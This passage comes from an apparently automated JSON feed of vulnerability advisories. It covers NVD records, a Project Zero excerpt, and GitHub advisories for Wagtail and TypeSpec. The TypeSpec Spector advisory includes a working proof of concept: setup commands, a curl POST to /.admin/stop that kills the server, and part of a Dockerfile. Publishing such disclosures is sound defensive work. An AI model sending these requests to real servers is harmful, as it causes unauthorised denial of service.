fixes.","publishedAt":"2026-09-08T12:16:58.083Z","updatedAt":"2026-10-26T17:17:29.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74860","asOf":"2026-10-26T17:17:29.023Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74860","type":"primary","publishedAt":"2026-09-08T12:16:58.083Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"project-zero-maccconc-race-condition-f8ca6cc85e36","cveId":null,"aliases":[],"kind":"advisory","title":"Testing race conditions with memory access tracing and stack-based delay injection","summary":"Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases: Confirming bug candidates that have been discovered manually or through static analysis. Regression tests: After fixing a race condition bug, there is often no good way to write a regression test that reliably triggers the bug as part of a test suite. Automatic bug discovery, such as fuzzing: It is hard for a fuzzer to exercise all interesting interleavings of concurrent operations, or reach code paths that are only exercised when operations are racing.","detail":"Many security bugs are race conditions, where multi-threaded execution has to occur with the right interleaving for a negative effect to appear. This creates challenges for several use cases: Confirming bug candidates that have been discovered manually or through static analysis. Regression tests: After fixing a race condition bug, there is often no good way to write a regression test that reliably triggers the bug as part of a test suite. Automatic bug discovery, such as fuzzing: It is hard for a fuzzer to exercise all interesting interleavings of concurrent operations, or reach code paths that are only exercised when operations are racing.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-09-08T07:00:00.000Z","updatedAt":"2026-09-08T07:00:00.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Project Zero Research: Testing race conditions with memory access tracing and stack-based delay injection","url":"https://projectzero.google/2026/09/maccconc-race-condition.html","type":"primary","publishedAt":"2026-09-08T07:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Project Zero Research syndication feed","url":"https://projectzero.google/feed.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79678","cveId":"CVE-2026-79678","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP...","summary":"A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.","detail":"A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-09-07T13:20:38.380Z","updatedAt":"2026-10-26T14:16:40.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79678","asOf":"2026-10-26T14:16:40.700Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79678","type":"primary","publishedAt":"2026-09-07T13:20:38.380Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-7q9c-hpx7-9cwm","cveId":null,"aliases":[],"kind":"vulnerability","title":"TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop","summary":"`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:","detail":"### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) => {\n logger.info(\"Received signal to stop server. Exiting...\");\n res.status(202).end();\n setTimeout(() => {\n process.exit(0);\n });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 — Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 — Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http:// :3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 — Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo '{\"type\":\"module\"}' > package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n# express — web framework (admin.ts, routes/index.ts, server.ts)\n# picocolors — terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified — they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n# Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/consta\n\nAffected package ranges reported by GitHub:\n@typespec/spector: <= 0.1.0-alpha.26","action":"GitHub lists first patched versions: @typespec/spector: 0.1.0-alpha.27. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-09-04T21:43:13.000Z","updatedAt":"2026-10-22T08:26:03.000Z","regions":["Global"],"vendor":null,"product":"@typespec/spector","stacks":["JavaScript packages (npm)","@typespec/spector","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-7q9c-hpx7-9cwm","asOf":"2026-10-22T08:26:03.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7q9c-hpx7-9cwm","url":"https://github.com/advisories/GHSA-7q9c-hpx7-9cwm","type":"primary","publishedAt":"2026-09-04T21:43:13.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-7q9c-hpx7-9cwm, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83596","cveId":"CVE-2026-83596","aliases":[],"kind":"vulnerability","title":"A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.","summary":"A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.","detail":"A flaw was found in WebKitGTK. Processing malicious web content can cause memory corruption due to improper memory handling.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-31T21:17:55.190Z","updatedAt":"2026-10-26T14:16:41.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83596","asOf":"2026-10-26T14:16:41.093Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83596","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83596","type":"primary","publishedAt":"2026-08-31T21:17:55.190Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78002","cveId":"CVE-2026-78002","aliases":[],"kind":"vulnerability","title":"A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog...","summary":"A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog messages. This vulnerability arises from an incorrect buffer size calculation during string replacement, causing memory corruption. Successful exploitation can lead to a denial of service (DoS) for the affected system.","detail":"A flaw was found in rsyslog. An unauthenticated remote attacker can trigger a heap buffer overflow in the RainerScript `replace()` function by sending specially crafted syslog messages. This vulnerability arises from an incorrect buffer size calculation during string replacement, causing memory corruption. Successful exploitation can lead to a denial of service (DoS) for the affected system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-27T17:20:29.367Z","updatedAt":"2026-10-26T17:17:29.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78002","asOf":"2026-10-26T17:17:29.953Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78002","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78002","type":"primary","publishedAt":"2026-08-27T17:20:29.367Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-78376","cveId":"CVE-2026-78376","aliases":[],"kind":"vulnerability","title":"A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.","summary":"A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.","detail":"A flaw was found in WebKitGTK. Processing malicious web content can cause a use-after-free issue due to improper memory handling and result in memory corruption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-24T14:17:05.390Z","updatedAt":"2026-10-26T14:16:40.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-78376","asOf":"2026-10-26T14:16:40.290Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-78376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78376","type":"primary","publishedAt":"2026-08-24T14:17:05.390Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-jm5p-837g-rv8g","cveId":null,"aliases":[],"kind":"vulnerability","title":"Wagtail: Improper restriction handling on Page translation API endpoint","summary":"* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)\n* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).","detail":"### Impact\nA CMS user with the \"submit translations\" permission, could use the Admin API's \"copy for translation\" endpoint to copy an existing page that they do not have edit access to, allowing them to view its contents.\n\n### Patches\nPatched versions have been released as Wagtail 7.0.9, 7.3.4, 7.4.3 and 8.0rc2.\n\n### Workarounds\nN/A\n\n### Acknowledgements\nMany thanks to tinyb0y for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html)\n* Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information).\n\nAffected package ranges reported by GitHub:\nwagtail: < 7.0.9\nwagtail: = 8.0rc1\nwagtail: >= 7.1rc1, < 7.3.4\nwagtail: >= 7.4rc1, < 7.4.3","action":"GitHub lists first patched versions: wagtail: 7.0.9; wagtail: 8.0rc2; wagtail: 7.3.4; wagtail: 7.4.3. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-08-20T18:45:27.000Z","updatedAt":"2026-10-26T14:47:42.000Z","regions":["Global"],"vendor":null,"product":"wagtail, wagtail, wagtail, wagtail","stacks":["Python packages (PyPI)","wagtail","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-jm5p-837g-rv8g","asOf":"2026-10-26T14:47:42.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jm5p-837g-rv8g","url":"https://github.com/advisories/GHSA-jm5p-837g-rv8g","type":"primary","publishedAt":"2026-08-20T18:45:27.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jm5p-837g-rv8g, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77176","cveId":"CVE-2026-77176","aliases":[],"kind":"vulnerability","title":"A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient...","summary":"A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient validation of CreateContainer mount and storage rules. This allows them to mount arbitrary container-rootfs paths over sensitive host locations or provision arbitrary content, potentially exposing confidential information or enabling the acceptance of attacker-controlled input.","detail":"A flaw was found in Kata Containers. In configurations utilizing genpolicy for Confidential Containers guest protection, a malicious host operator can exploit insufficient validation of CreateContainer mount and storage rules. This allows them to mount arbitrary container-rootfs paths over sensitive host locations or provision arbitrary content, potentially exposing confidential information or enabling the acceptance of attacker-controlled input.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T17:19:49.773Z","updatedAt":"2026-10-26T18:18:44.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77176","asOf":"2026-10-26T18:18:44.203Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77176","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77176","type":"primary","publishedAt":"2026-08-20T17:19:49.773Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54249","cveId":"CVE-2026-54249","aliases":["GHSA-h7p7-w5gc-xj3w"],"kind":"vulnerability","title":"Pydantic AI: Unvalidated UploadedFile references in 